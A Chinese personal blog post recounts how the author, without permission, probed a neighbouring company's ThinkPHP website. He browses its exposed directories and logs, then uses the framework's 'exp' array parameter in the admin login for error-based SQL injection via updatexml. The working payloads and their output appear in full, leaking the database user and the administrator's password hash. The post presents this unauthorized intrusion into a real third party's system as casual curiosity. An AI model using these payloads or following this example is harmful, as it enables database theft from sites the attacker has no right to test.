[MySQL]回家弄了个曝库攻击

2017-2-22 写技术

公司隔壁是一家做图像识别的企业,去年才成立的,我最喜欢这种新鲜事物了,今天特意看了看他们的网站,用thinkphp框架做的。thinkphp有一些致命点,兴许他们没工夫处理呢。那今天就来检查检查吧。
首先,各个目录的列表权限——他们没有做处理,Application,Data,Runtime等目录一览无余,安装包都原封不动地躺在那,我清楚地看到他们改动了哪些文件。不过这些意义不是特别大,没有看到什么有价值的东西,有几个数据库脚本也只是原始安装文件。
然后,在Runtime目录下有日志文件,这个略有用,看到了登录后台,看到了登录用户‘Administrator’,而且用户只有一个,看到了一系列根目录,并且这些目录是绝对路径……
再后来,打开登录后台界面,POST方式提交下简单的SQL注入,类似于
select * from table where username='administrator' and password='1' or '1'
当然,这种注入对于thinkphp来说当然是无效的。
再后来,重点来了:
当用户登录时,会提交username和password到服务器,其中username用来查询数据库,返回用户信息,同时password进行单向加密,加密算法
f(x)=md5(sha1(x)+salt)
得到的f(x)与用户信息中的密码字段比对,完成登录验证。
从登录代码往下走:
/Application/Admin/Controller/PublicController.class.php
/ThinkPHP/Library/Think/Db.class.php
可以发现对入参数组以exp开头的处理部分,有点奇妙。比如原本username传入字符串时会按前述走,
构造一个查询:
select * from hd_ucenter_member where username=(***) limit 1;
可是我可以传数组进去呀。
username[0]='exp',username[1]='***'
这会构造一个查询:
select * from hd_ucenter_member where username (***) limit 1;

那么让***为
-1 or updatexml(0,concat(0xa,(user())),0)
怎么样?
马上返回结果:
SQLSTATE[HY000]: General error: 1105 XPATH syntax error: ' root@localhost'
曝库成功!
让***为
-1 or updatexml(0,concat(0xa,(select password from skdb_ucenter_member limit 1)),0)
这次我看到的是密码!!!
同理我得到用户名,得到邮箱等等。
不过这一切对我而言没有任何意义,不要以为那个密码可以用来打开通向世界的大门,别忘了公式
f(x)=md5(sha1(x)+salt)
的存在。
这种用户验证的周到之处在于,即便曝库了,密码仍然是未知的。要想通过密文推知明文,无异于暴力破解了。
不过像这个网站,有待改进。

标签: MySQL

发表评论:

Powered by anycle 湘ICP备15001973号-1